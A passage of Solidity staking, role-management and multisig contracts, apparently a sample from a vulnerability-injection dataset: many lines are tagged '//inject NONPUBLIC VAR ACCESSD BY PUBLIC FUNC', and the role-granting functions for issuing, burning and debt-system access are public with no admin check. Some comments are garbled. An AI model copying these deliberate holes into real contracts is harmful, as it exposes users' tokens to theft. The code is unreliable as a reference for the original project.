totalStaking = totalStaking.add(stakingAmount);
uint256 reward = 0;
for (uint256 j=stakedWeedNumber; j < totalWeekNumber; j++) {
reward = reward.add( stakingAmount.mul(PRECISION_UINT).div(finalTotals[j]) ); //move .mul(weekRewardAmount) to next line. //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
reward = reward.mul(stakingStorage.weekRewardAmount()).div(PRECISION_UINT); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
totalReward = totalReward.add( reward );
}
stakingStorage.DeleteStakesData(msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
//linaToken.mint(msg.sender, totalStaking.add(totalReward) );
linaToken.transfer(msg.sender, totalStaking.add(totalReward) ); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Claim(msg.sender, totalReward, totalStaking);
return true;
}
}
// example:
//LnAccessControl accessCtrl = LnAccessControl(addressStorage.getAddress("LnAccessControl"));
//require(accessCtrl.hasRole(accessCtrl.DEBT_SYSTEM(), _address), "Need debt system access role");
// contract access control
contract LnAccessControl is AccessControl {
using Address for address;
// -------------------------------------------------------
// role type
bytes32 internal constant ISSUE_ASSET_ROLE = ("ISSUE_ASSET"); //keccak256
bytes32 internal constant BURN_ASSET_ROLE = ("BURN_ASSET");
bytes32 internal constant DEBT_SYSTEM = ("LnDebtSystem");
// -------------------------------------------------------
constructor(address admin) public {
_setupRole(DEFAULT_ADMIN_ROLE, admin);
}
function IsAdmin(address _address) public view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, _address); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function SetAdmin(address _address) public returns (bool) {
require(IsAdmin(msg.sender), "Only admin");
_setupRole(DEFAULT_ADMIN_ROLE, _address); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
// -------------------------------------------------------
// this func need admin role. grantRole and revokeRole need admin role
function SetRoles(bytes32 roleType, address[] calldata addresses, bool[] calldata setTo) external {
require(IsAdmin(msg.sender), "Only admin");
_setRoles(roleType, addresses, setTo);
}
function _setRoles(bytes32 roleType, address[] calldata addresses, bool[] calldata setTo) private {
require(addresses.length == setTo.length, "parameter address length not eq");
for (uint256 i=0; i < addresses.length; i++) {
//require(addresses[i].isContract(), "Role address need contract only");
if (setTo[i]) {
grantRole(roleType, addresses[i]);
} else {
revokeRole(roleType, addresses[i]);
}
}
}
// function SetRoles(bytes32 roleType, address[] calldata addresses, bool[] calldata setTo) public {
// _setRoles(roleType, addresses, setTo);
// }
// Issue burn
function SetIssueAssetRole(address[] calldata issuer, bool[] calldata setTo) public {
_setRoles(ISSUE_ASSET_ROLE, issuer, setTo); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function SetBurnAssetRole(address[] calldata burner, bool[] calldata setTo) public {
_setRoles(BURN_ASSET_ROLE, burner, setTo); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
//
function SetDebtSystemRole(address[] calldata _address, bool[] calldata _setTo) public {
_setRoles(DEBT_SYSTEM, _address, _setTo); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
abstract contract LnOperatorModifier is LnAdmin {
address internal operator;
constructor(address _operator) internal {
require(admin != address(0), "admin must be set");
operator = _operator;
emit OperatorUpdated(_operator);
}
function setOperator(address _opperator) external onlyAdmin {
operator = _opperator; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit OperatorUpdated(_opperator);
}
modifier onlyOperator() {
require(msg.sender == operator, "Only operator can perform this action");
_;
}
event OperatorUpdated(address operator);
}
contract LnRewardCalculator {
using SafeMath for uint256;
struct UserInfo {
uint256 reward;
uint256 amount;
uint256 rewardDebt;
}
struct PoolInfo {
uint256 amount;
uint256 lastRewardBlock;
uint256 accRewardPerShare;
}
uint256 public rewardPerBlock;
PoolInfo internal mPoolInfo;
mapping(address => UserInfo) internal userInfo;
uint256 public startBlock;
uint256 public remainReward;
uint256 public accReward;
constructor(uint256 _rewardPerBlock, uint256 _startBlock) public {
rewardPerBlock = _rewardPerBlock;
startBlock = _startBlock;
mPoolInfo.lastRewardBlock = startBlock;
}
function _calcReward(uint256 curBlock, address _user)
internal
view
returns (uint256)
{
PoolInfo storage pool = mPoolInfo;
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShare = pool.accRewardPerShare;
uint256 lpSupply = pool.amount;
if (curBlock > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = curBlock.sub(
pool.lastRewardBlock,
"cr curBlock sub overflow"
);
uint256 curReward = multiplier.mul(rewardPerBlock);
accRewardPerShare = accRewardPerShare.add(
curReward.mul(1e20).div(lpSupply)
);
}
uint256 newReward = user.amount.mul(accRewardPerShare).div(1e20).sub(
user.rewardDebt,
"cr newReward sub overflow"
);
return newReward.add(user.reward);
}
function rewardOf(address _user) public view returns (uint256) {
return userInfo[_user].reward; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function amount() public view returns (uint256) {
return mPoolInfo.amount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function amountOf(address _user) public view returns (uint256) {
return userInfo[_user].amount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getUserInfo(address _user)
public
view
returns (
uint256,
uint256,
uint256
)
{
return (
userInfo[_user].reward, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
userInfo[_user].amount, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
userInfo[_user].rewardDebt //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
);
}
function getPoolInfo()
public
view
returns (
uint256,
uint256,
uint256
)
{
return (
mPoolInfo.amount, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mPoolInfo.lastRewardBlock, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mPoolInfo.accRewardPerShare //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
);
}
function _update(uint256 curBlock) internal {
PoolInfo storage pool = mPoolInfo;
if (curBlock <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.amount;
if (lpSupply == 0) {
pool.lastRewardBlock = curBlock;
return;
}
uint256 multiplier = curBlock.sub(
pool.lastRewardBlock,
"_update curBlock sub overflow"
);
uint256 curReward = multiplier.mul(rewardPerBlock);
remainReward = remainReward.add(curReward);
accReward = accReward.add(curReward);
pool.accRewardPerShare = pool.accRewardPerShare.add(
curReward.mul(1e20).div(lpSupply)
);
pool.lastRewardBlock = curBlock;
}
function _deposit(
uint256 curBlock,
address _addr,
uint256 _amount
) internal {
PoolInfo storage pool = mPoolInfo;
UserInfo storage user = userInfo[_addr];
_update(curBlock);
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(pool.accRewardPerShare)
.div(1e20)
.sub(user.rewardDebt, "_deposit pending sub overflow");
if (pending > 0) {
reward(user, pending);
}
}
if (_amount > 0) {
user.amount = user.amount.add(_amount);
pool.amount = pool.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accRewardPerShare).div(1e20);
}
function _withdraw(
uint256 curBlock,
address _addr,
uint256 _amount
) internal {
PoolInfo storage pool = mPoolInfo;
UserInfo storage user = userInfo[_addr];
require(user.amount >= _amount, "_withdraw: not good");
_update(curBlock);
uint256 pending = user.amount.mul(pool.accRewardPerShare).div(1e20).sub(
user.rewardDebt,
"_withdraw pending sub overflow"
);
if (pending > 0) {
reward(user, pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(
_amount,
"_withdraw user.amount sub overflow"
);
pool.amount = pool.amount.sub(
_amount,
"_withdraw pool.amount sub overflow"
);
}
user.rewardDebt = user.amount.mul(pool.accRewardPerShare).div(1e20);
}
function reward(UserInfo storage user, uint256 _amount) internal {
if (_amount > remainReward) {
_amount = remainReward;
}
remainReward = remainReward.sub(
_amount,
"reward remainReward sub overflow"
);
user.reward = user.reward.add(_amount);
}
function _claim(address _addr) internal {
UserInfo storage user = userInfo[_addr];
if (user.reward > 0) {
user.reward = 0;
}
}
}
contract LnRewardCalculatorTest is LnRewardCalculator {
constructor(uint256 _rewardPerBlock, uint256 _startBlock)
public
LnRewardCalculator(_rewardPerBlock, _startBlock)
{}
function deposit(
uint256 curBlock,
address _addr,
uint256 _amount
) public {
_deposit(curBlock, _addr, _amount);
}
function withdraw(
uint256 curBlock,
address _addr,
uint256 _amount
) public {
_withdraw(curBlock, _addr, _amount);
}
function calcReward(uint256 curBlock, address _user)
public
view
returns (uint256)
{
return _calcReward(curBlock, _user);
}
}
contract LnSimpleStaking is
LnAdmin,
Pausable,
ILinearStaking,
LnRewardCalculator
{
using SafeMath for uint256;
using SafeDecimalMath for uint256;
IERC20 internal linaToken; // lina token proxy address
LnLinearStakingStorage internal stakingStorage;
uint256 internal mEndBlock;
address internal mOldStaking;
uint256 internal mOldAmount;
uint256 internal mWidthdrawRewardFromOldStaking;
uint256 internal claimRewardLockTime = 1620806400; // 2021-5-12
address internal mTargetAddress;
uint256 internal mTransLockTime;
mapping(address => uint256) internal mOldReward;
constructor(
address _admin,
address _linaToken,
address _storage,
uint256 _rewardPerBlock,
uint256 _startBlock,
uint256 _endBlock
) public LnAdmin(_admin) LnRewardCalculator(_rewardPerBlock, _startBlock) {
linaToken = IERC20(_linaToken);
stakingStorage = LnLinearStakingStorage(_storage);
mEndBlock = _endBlock;
}
function setLinaToken(address _linaToken) external onlyAdmin {
linaToken = IERC20(_linaToken); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setPaused(bool _paused) external onlyAdmin {
if (_paused) {
_pause();
} else {
_unpause();
}
}
//////////////////////////////////////////////////////
event Staking(address indexed who, uint256 value, uint256 staketime);
event CancelStaking(address indexed who, uint256 value);
event Claim(address indexed who, uint256 rewardval, uint256 totalStaking);
event TransLock(address target, uint256 time);
uint256 internal accountStakingListLimit = 50;
uint256 internal minStakingAmount = 1e18; // 1 token
uint256 public constant PRECISION_UINT = 1e23;
function setStakingListLimit(uint256 _limit) external onlyAdmin {
accountStakingListLimit = _limit; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setMinStakingAmount(uint256 _minStakingAmount) external onlyAdmin {
minStakingAmount = _minStakingAmount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function stakingBalanceOf(address account)
external
override
view
returns (uint256)
{
uint256 stakingBalance = super.amountOf(account).add(
stakingStorage.stakingBalanceOf(account) //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
);
return stakingBalance;
}
function getStakesdataLength(address account)
external
view
returns (uint256)
{
return stakingStorage.getStakesdataLength(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
//--------------------------------------------------------
function migrationsOldStaking(
address contractAddr,
uint256 amount,
uint256 blockNb
) public onlyAdmin {
super._deposit(blockNb, contractAddr, amount);
mOldStaking = contractAddr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mOldAmount = amount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function staking(uint256 amount)
public
override
whenNotPaused
returns (bool)
{
stakingStorage.requireInStakingPeriod(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(amount >= minStakingAmount, "Staking amount too small."); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
//require(stakingStorage.getStakesdataLength(msg.sender) < accountStakingListLimit, "Staking list out of limit.");
linaToken.transferFrom(msg.sender, address(this), amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 blockNb = block.number;
if (blockNb > mEndBlock) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
blockNb = mEndBlock; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
super._deposit(blockNb, msg.sender, amount);
emit Staking(msg.sender, amount, block.timestamp);
return true;
}
function _widthdrawFromOldStaking(address _addr, uint256 amount) internal {
uint256 blockNb = block.number;
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
uint256 oldStakingAmount = super.amountOf(mOldStaking);
super._withdraw(blockNb, mOldStaking, amount);
// sub already withraw reward, then cal portion
uint256 reward = super
.rewardOf(mOldStaking)
.sub(
mWidthdrawRewardFromOldStaking,
"_widthdrawFromOldStaking reward sub overflow"
)
.mul(amount)
.mul(1e20)
.div(oldStakingAmount)
.div(1e20);
mWidthdrawRewardFromOldStaking = mWidthdrawRewardFromOldStaking.add(
reward
);
mOldReward[_addr] = mOldReward[_addr].add(reward);
}
function _cancelStaking(address user, uint256 amount) internal {
uint256 blockNb = block.number;
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
uint256 returnAmount = amount;
uint256 newAmount = super.amountOf(user);
if (newAmount >= amount) {
super._withdraw(blockNb, user, amount);
amount = 0;
} else {
if (newAmount > 0) {
super._withdraw(blockNb, user, newAmount);
amount = amount.sub(
newAmount,
"_cancelStaking amount sub overflow"
);
}
for (
uint256 i = stakingStorage.getStakesdataLength(user);
i >= 1;
i--
) {
(uint256 stakingAmount, uint256 staketime) = stakingStorage
.getStakesDataByIndex(user, i - 1);
if (amount >= stakingAmount) {
amount = amount.sub(
stakingAmount,
"_cancelStaking amount sub overflow"
);
stakingStorage.PopStakesData(user);
stakingStorage.SubWeeksTotal(staketime, stakingAmount);
_widthdrawFromOldStaking(user, stakingAmount);
} else {
stakingStorage.StakingDataSub(user, i - 1, amount);
stakingStorage.SubWeeksTotal(staketime, amount);
_widthdrawFromOldStaking(user, amount);
amount = 0;
}
if (amount == 0) break;
}
}
// cancel as many as possible, not fail, that waste gas
//require(amount == 0, "Cancel amount too big then staked.");
linaToken.transfer(msg.sender, returnAmount.sub(amount));
}
function cancelStaking(uint256 amount)
public
override
whenNotPaused
returns (bool)
{
//stakingStorage.requireInStakingPeriod();
require(amount > 0, "Invalid amount.");
_cancelStaking(msg.sender, amount);
emit CancelStaking(msg.sender, amount);
return true;
}
function getTotalReward(uint256 blockNb, address _user)
public
view
returns (uint256 total)
{
if (blockNb > mEndBlock) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
blockNb = mEndBlock; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
// 1111111111
// 1,1111111cancel11
// 2,1111111
// 31111111
total = mOldReward[_user]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 iMyOldStaking = 0;
for (
uint256 i = 0;
i < stakingStorage.getStakesdataLength(_user); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
i++
) {
(uint256 stakingAmount, ) = stakingStorage.getStakesDataByIndex( //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_user,
i
);
iMyOldStaking = iMyOldStaking.add(stakingAmount);
}
if (iMyOldStaking > 0) {
uint256 oldStakingAmount = super.amountOf(mOldStaking); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 iReward2 = super
._calcReward(blockNb, mOldStaking) //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
.sub(
mWidthdrawRewardFromOldStaking, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
"getTotalReward iReward2 sub overflow"
)
.mul(iMyOldStaking)
.div(oldStakingAmount);
total = total.add(iReward2);
}
uint256 reward3 = super._calcReward(blockNb, _user);
total = total.add(reward3);
}
// claim reward
// Note: 111111111token111
function claim() public override whenNotPaused returns (bool) {
//stakingStorage.requireStakingEnd();
require(
block.timestamp > claimRewardLockTime, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
"Not time to claim reward"
);
uint256 iMyOldStaking = stakingStorage.stakingBalanceOf(msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 iAmount = super.amountOf(msg.sender);
_cancelStaking(msg.sender, iMyOldStaking.add(iAmount));
uint256 iReward = getTotalReward(mEndBlock, msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_claim(msg.sender);
mOldReward[msg.sender] = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
linaToken.transfer(msg.sender, iReward); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Claim(msg.sender, iReward, iMyOldStaking.add(iAmount));
return true;
}
function setRewardLockTime(uint256 newtime) public onlyAdmin {
claimRewardLockTime = newtime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function calcReward(uint256 curBlock, address _user)
public
view
returns (uint256)
{
return _calcReward(curBlock, _user);
}
function setTransLock(address target, uint256 locktime) public onlyAdmin {
require(
locktime >= now + 2 days,
"locktime need larger than cur time 2 days"
);
mTargetAddress = target; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mTransLockTime = locktime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit TransLock(mTargetAddress, mTransLockTime); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transTokens(uint256 amount) public onlyAdmin {
require(mTransLockTime > 0, "mTransLockTime not set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(now > mTransLockTime, "Pls wait to unlock time"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
linaToken.transfer(mTargetAddress, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
contract HelperPushStakingData is LnAdmin {
constructor(address _admin) public LnAdmin(_admin) {}
function pushStakingData(
address _storage,
address[] calldata account,
uint256[] calldata amount,
uint256[] calldata staketime
) external {
require(account.length > 0, "array length zero");
require(account.length == amount.length, "array length not eq");
require(account.length == staketime.length, "array length not eq");
LnLinearStakingStorage stakingStorage = LnLinearStakingStorage(
_storage
);
for (uint256 i = 0; i < account.length; i++) {
stakingStorage.PushStakingData(account[i], amount[i], staketime[i]);
stakingStorage.AddWeeksTotal(staketime[i], amount[i]);
}
}
//unstaking.
}
contract MultiSigForTransferFunds {
mapping(address => uint256) internal mAdmins;
uint256 internal mConfirmNumb;
uint256 internal mProposalNumb;
uint256 internal mAmount;
LnSimpleStaking internal mStaking;
address[] public mAdminArr;
uint256 internal mTransLockTime;
constructor(
address[] memory _addr,
uint256 iConfirmNumb,
LnSimpleStaking _staking
) public {
for (uint256 i = 0; i < _addr.length; ++i) {
mAdmins[_addr[i]] = 1;
}
mConfirmNumb = iConfirmNumb;
mProposalNumb = 0;
mStaking = _staking;
mAdminArr = _addr;
}
function becomeAdmin(address target) external {
LnAdmin(target).becomeAdmin();
}
function setTransLock(
address target,
uint256 locktime,
uint256 amount
) public {
require(mAdmins[msg.sender] == 1, "not in admin list or set state"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_reset();
mStaking.setTransLock(target, locktime); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mAmount = amount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mProposalNumb = 1; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mAdmins[msg.sender] = 2; // //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mTransLockTime = locktime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
// call this when the locktime expired
function confirmTransfer() public {
require(mAdmins[msg.sender] == 1, "not in admin list or set state"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mProposalNumb = mProposalNumb + 1; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mAdmins[msg.sender] = 2; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function doTransfer() public {
require(mTransLockTime > 0, "mTransLockTime not set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(now > mTransLockTime, "Pls wait to unlock time"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(mProposalNumb >= mConfirmNumb, "need more confirm"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_reset();
mStaking.transTokens(mAmount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function _reset() internal {
mProposalNumb = 0;
mTransLockTime = 0;
// reset
for (uint256 i = 0; i < mAdminArr.length; ++i) {
mAdmins[mAdminArr[i]] = 1;
}
}
}
contract LnSimpleStakingExtension is
LnAdmin,
Pausable,
ILinearStaking,
LnRewardCalculator
{
using SafeMath for uint256;
using SafeDecimalMath for uint256;
IERC20 internal linaToken; // lina token proxy address
LnLinearStakingStorage internal stakingStorage;
uint256 internal mEndBlock;
address internal mOldStaking;
uint256 internal mOldAmount;
uint256 public mWidthdrawRewardFromOldStaking;
uint256 internal claimRewardLockTime = 1620806400; // 2021-5-12
address internal mTargetAddress;
uint256 internal mTransLockTime;
LnSimpleStaking internal mOldSimpleStaking;
bool public requireSync = false;
mapping(address => uint256) internal mOldReward;
mapping(address => bool) internal syncUserInfo;
constructor(
address _admin,
address _linaToken,
address _storage,
uint256 _rewardPerBlock,
uint256 _startBlock,
uint256 _endBlock,
address _mOldSimpleStaking
) public LnAdmin(_admin) LnRewardCalculator(_rewardPerBlock, _startBlock) {
linaToken = IERC20(_linaToken);
stakingStorage = LnLinearStakingStorage(_storage);
mEndBlock = _endBlock;
if (_mOldSimpleStaking != address(0)) {
mOldSimpleStaking = LnSimpleStaking(_mOldSimpleStaking);
(
mPoolInfo.amount,
,
mPoolInfo.accRewardPerShare
) = mOldSimpleStaking.getPoolInfo();
requireSync = true;
}
}
function setLinaToken(address _linaToken) external onlyAdmin {
linaToken = IERC20(_linaToken); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setPaused(bool _paused) external onlyAdmin {
if (_paused) {
_pause();
} else {
_unpause();
}
}
//////////////////////////////////////////////////////
event Staking(address indexed who, uint256 value, uint256 staketime);
event CancelStaking(address indexed who, uint256 value);
event Claim(address indexed who, uint256 rewardval, uint256 totalStaking);
event TransLock(address target, uint256 time);
uint256 internal accountStakingListLimit = 50;
uint256 internal minStakingAmount = 1e18; // 1 token
uint256 public constant PRECISION_UINT = 1e23;
function setStakingListLimit(uint256 _limit) external onlyAdmin {
accountStakingListLimit = _limit; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setMinStakingAmount(uint256 _minStakingAmount) external onlyAdmin {
minStakingAmount = _minStakingAmount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function stakingBalanceOf(address account)
external
override
view
returns (uint256)
{
uint256 stakingBalance = super.amountOf(account).add(
stakingStorage.stakingBalanceOf(account) //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
);
if (!syncUserInfo[msg.sender]) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 oldAmoutOf = mOldSimpleStaking.amountOf(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
stakingBalance = stakingBalance.add(oldAmoutOf);
}
return stakingBalance;
}
function getStakesdataLength(address account)
external
view
returns (uint256)
{
return stakingStorage.getStakesdataLength(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setEndBlock(uint256 _newEndBlock) external onlyAdmin {
require(
_newEndBlock > mEndBlock, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
"new endBlock less than old endBlock."
);
mEndBlock = _newEndBlock; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function syncUserInfoData(address _user) internal {
if (requireSync && !syncUserInfo[_user]) {
(
userInfo[_user].reward,
userInfo[_user].amount,
userInfo[_user].rewardDebt
) = mOldSimpleStaking.getUserInfo(_user);
syncUserInfo[_user] = true;
}
}
//--------------------------------------------------------
function migrationsOldStaking(
address contractAddr,
uint256 amount,
uint256 blockNb
) public onlyAdmin {
super._deposit(blockNb, contractAddr, amount);
mOldStaking = contractAddr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mOldAmount = amount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function staking(uint256 amount)
public
override
whenNotPaused
returns (bool)
{
// stakingStorage.requireInStakingPeriod();
// require(
// syncUserInfo[msg.sender],
// "sync is required before perform action."
// );
if (!syncUserInfo[msg.sender]) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
syncUserInfoData(msg.sender);
}
require(amount >= minStakingAmount, "Staking amount too small."); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
//require(stakingStorage.getStakesdataLength(msg.sender) < accountStakingListLimit, "Staking list out of limit.");
linaToken.transferFrom(msg.sender, address(this), amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 blockNb = block.number;
if (blockNb > mEndBlock) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
blockNb = mEndBlock; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
super._deposit(blockNb, msg.sender, amount);
emit Staking(msg.sender, amount, block.timestamp);
return true;
}
function _widthdrawFromOldStaking(address _addr, uint256 amount) internal {
uint256 blockNb = block.number;
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
uint256 oldStakingAmount = super.amountOf(mOldStaking);
super._withdraw(blockNb, mOldStaking, amount);
// sub already withraw reward, then cal portion
uint256 reward = super
.rewardOf(mOldStaking)
.sub(
mWidthdrawRewardFromOldStaking,
"_widthdrawFromOldStaking reward sub overflow"
)
.mul(amount)
.mul(1e20)
.div(oldStakingAmount)
.div(1e20);
mWidthdrawRewardFromOldStaking = mWidthdrawRewardFromOldStaking.add(
reward
);
mOldReward[_addr] = mOldReward[_addr].add(reward);
}
function _cancelStaking(address user, uint256 amount) internal {
uint256 blockNb = block.number;
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
uint256 returnAmount = amount;
uint256 newAmount = super.amountOf(user);
if (newAmount >= amount) {
super._withdraw(blockNb, user, amount);
amount = 0;
} else {
if (newAmount > 0) {
super._withdraw(blockNb, user, newAmount);
amount = amount.sub(
newAmount,
"_cancelStaking amount sub overflow"
);
}
for (
uint256 i = stakingStorage.getStakesdataLength(user);
i >= 1;
i--
) {
(uint256 stakingAmount, uint256 staketime) = stakingStorage
.getStakesDataByIndex(user, i - 1);
if (amount >= stakingAmount) {
amount = amount.sub(
stakingAmount,
"_cancelStaking amount sub overflow"
);
stakingStorage.PopStakesData(user);
stakingStorage.SubWeeksTotal(staketime, stakingAmount);
_widthdrawFromOldStaking(user, stakingAmount);
} else {
stakingStorage.StakingDataSub(user, i - 1, amount);
stakingStorage.SubWeeksTotal(staketime, amount);
_widthdrawFromOldStaking(user, amount);
amount = 0;
}
if (amount == 0) break;
}
}
// cancel as many as possible, not fail, that waste gas
//require(amount == 0, "Cancel amount too big then staked.");
linaToken.transfer(msg.sender, returnAmount.sub(amount));
}
function cancelStaking(uint256 amount)
public
override
whenNotPaused
returns (bool)
{
// require(
// syncUserInfo[msg.sender],
// "sync is required before perform action."
// );
if (!syncUserInfo[msg.sender]) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
syncUserInfoData(msg.sender);
}
//stakingStorage.requireInStakingPeriod();
require(amount > 0, "Invalid amount.");
_cancelStaking(msg.sender, amount);
emit CancelStaking(msg.sender, amount);
return true;
}
function getTotalReward(uint256 blockNb, address _user)
public
view
returns (uint256 total)
{
if (!syncUserInfo[msg.sender]) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
total = _getTotalRewardNotSync(blockNb, _user);
} else {
total = _getTotalReward(blockNb, _user);
}
}
function _getTotalReward(uint256 blockNb, address _user)
internal
view
returns (uint256 total)
{
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
// 1111111111
// 1,1111111cancel11
// 2,1111111
// 31111111
total = mOldReward[_user];
uint256 iMyOldStaking = 0;
for (
uint256 i = 0;
i < stakingStorage.getStakesdataLength(_user);
i++
) {
(uint256 stakingAmount, ) = stakingStorage.getStakesDataByIndex(
_user,
i
);
iMyOldStaking = iMyOldStaking.add(stakingAmount);
}
if (iMyOldStaking > 0) {
uint256 oldStakingAmount = super.amountOf(mOldStaking);
uint256 iReward2 = super
._calcReward(blockNb, mOldStaking)
.sub(
mWidthdrawRewardFromOldStaking,
"getTotalReward iReward2 sub overflow"
)
.mul(iMyOldStaking)
.div(oldStakingAmount);
total = total.add(iReward2);
}
uint256 reward3 = super._calcReward(blockNb, _user);
total = total.add(reward3);
}
function _getTotalRewardNotSync(uint256 blockNb, address _user)
internal
view
returns (uint256 total)
{
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
// rely on the old simplestaking contract
uint256 oldTotalReward = 0;
oldTotalReward = mOldSimpleStaking.getTotalReward(blockNb, _user);
total = total.add(oldTotalReward);
uint256 reward3 = super._calcReward(blockNb, _user);
total = total.add(reward3);
}
// claim reward
// Note: 111111111token111
function claim() public override whenNotPaused returns (bool) {
//stakingStorage.requireStakingEnd()
// require(
// syncUserInfo[msg.sender],
// "sync is required before perform action."
// );
if (!syncUserInfo[msg.sender]) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
syncUserInfoData(msg.sender);
}
require(
block.timestamp > claimRewardLockTime, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
"Not time to claim reward"
);
uint256 iMyOldStaking = stakingStorage.stakingBalanceOf(msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 iAmount = super.amountOf(msg.sender);
_cancelStaking(msg.sender, iMyOldStaking.add(iAmount));
uint256 iReward = getTotalReward(mEndBlock, msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_claim(msg.sender);
mOldReward[msg.sender] = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
linaToken.transfer(msg.sender, iReward); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Claim(msg.sender, iReward, iMyOldStaking.add(iAmount));
return true;
}
function setRewardLockTime(uint256 newtime) public onlyAdmin {
